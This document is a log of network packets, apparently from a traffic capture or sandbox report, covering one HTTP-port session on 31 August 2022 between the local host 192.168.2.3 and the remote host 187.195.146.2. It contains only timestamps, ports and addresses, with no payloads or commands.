Aug 31, 2022 08:34:13.895256996 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895262003 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895287037 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895308018 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895318985 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895329952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895359993 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895369053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895371914 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.895392895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895414114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.895433903 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.899504900 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899547100 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899571896 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899593115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899611950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899622917 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.899633884 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899655104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899672031 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.899677992 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899698973 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899707079 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.899722099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899749994 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.899750948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899774075 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.899786949 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.903661013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903692961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903717041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903738022 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903755903 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.903762102 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903784990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:13.903789997 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:13.903847933 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.017756939 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.017803907 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.018037081 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.021640062 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.021687031 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.021790028 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.038197041 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.038208961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.038224936 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.038237095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.038249969 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.038535118 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.042232990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042268991 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042288065 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042305946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042324066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042340040 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.042344093 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042361975 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042365074 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.042380095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042397976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042402029 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.042417049 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.042493105 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.042496920 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.046129942 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046159029 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046175957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046195030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046214104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046231031 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046242952 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.046248913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.046276093 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.050183058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050208092 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050224066 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050241947 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050259113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050276995 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050295115 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050297022 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.050312996 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050332069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050343990 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.050367117 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050373077 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.050383091 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050396919 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.050410986 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.050436974 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054048061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054141998 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054164886 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054179907 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054189920 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054208040 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054209948 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054231882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054243088 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054255962 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054274082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054290056 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054294109 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054306030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054321051 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054322004 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.054337025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.054358959 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.057708979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057739019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057760000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057770967 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.057777882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057795048 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057799101 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.057811022 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057827950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057831049 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.057845116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057862997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057869911 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.057883024 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057900906 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057919025 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.057934999 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.058006048 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.060895920 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.060925961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.060961008 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.060976982 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.060987949 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.060993910 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061011076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061016083 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.061019897 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.061027050 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061043978 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061059952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061075926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061079025 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.061091900 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061100960 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.061108112 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.061126947 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064054012 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064088106 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064107895 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064110994 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064126968 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064145088 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064163923 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064172983 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064183950 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064207077 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064208031 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064224958 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064243078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064249039 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064263105 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064268112 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.064281940 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.064302921 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067148924 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067182064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067202091 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067208052 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067222118 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067240000 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067240000 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067260027 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067267895 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067280054 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067298889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067307949 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067318916 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067336082 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067363024 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.067369938 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067388058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.067410946 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070235014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070275068 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070295095 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070303917 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070316076 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070334911 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070353985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070354939 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070373058 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070379972 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070393085 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070413113 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070422888 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070430994 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070451021 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070457935 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070472002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070488930 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.070537090 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.070544004 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.072957039 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.072992086 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.073007107 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.073061943 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.123492002 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123522997 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123559952 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123574972 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123574972 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.123590946 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123605013 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.123614073 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.123663902 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.181766033 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.181854963 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.181869030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.181931973 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.181991100 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.185648918 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.185758114 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.185830116 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.185837030 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.185895920 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.185954094 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.185957909 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186012030 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186063051 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.186079979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186142921 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186189890 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.186196089 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186280966 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186326027 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.186342955 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186393976 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186436892 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.186455011 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186517954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.186569929 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.186578989 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189635038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189699888 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.189714909 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189774036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189827919 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.189841986 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189913988 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.189959049 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.189966917 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.190030098 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.190077066 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.190094948 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.190149069 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.190195084 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.197805882 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.197865963 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.197904110 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.197917938 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.197943926 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.197983027 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.197983980 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.198020935 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.198060036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.198060036 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201555014 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201627016 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201642036 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201683044 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201720953 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201723099 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201762915 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201797962 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201800108 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201838970 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201875925 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201877117 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201915979 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.201951981 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.201956034 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.204925060 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.204971075 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205010891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205024004 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.205051899 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205060005 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.205089092 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205127954 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205136061 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.205168009 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205204964 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205243111 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205250025 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.205281019 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205284119 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.205321074 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205360889 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.205362082 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.208213091 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208255053 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208277941 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.208292961 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208331108 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208339930 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.208369970 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208404064 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.208412886 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.230329990 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.230365038 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.230377913 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.230432987 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.230514050 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.281708956 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281744957 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281754971 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281771898 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281785965 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281799078 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.281889915 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.281935930 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.342060089 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.342089891 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.342103004 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.342163086 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346208096 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346249104 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346266985 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346280098 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346332073 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346344948 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:14.346358061 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346374989 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:14.346398115 CEST	80	49750	187.195.146.2	192.168.2.3
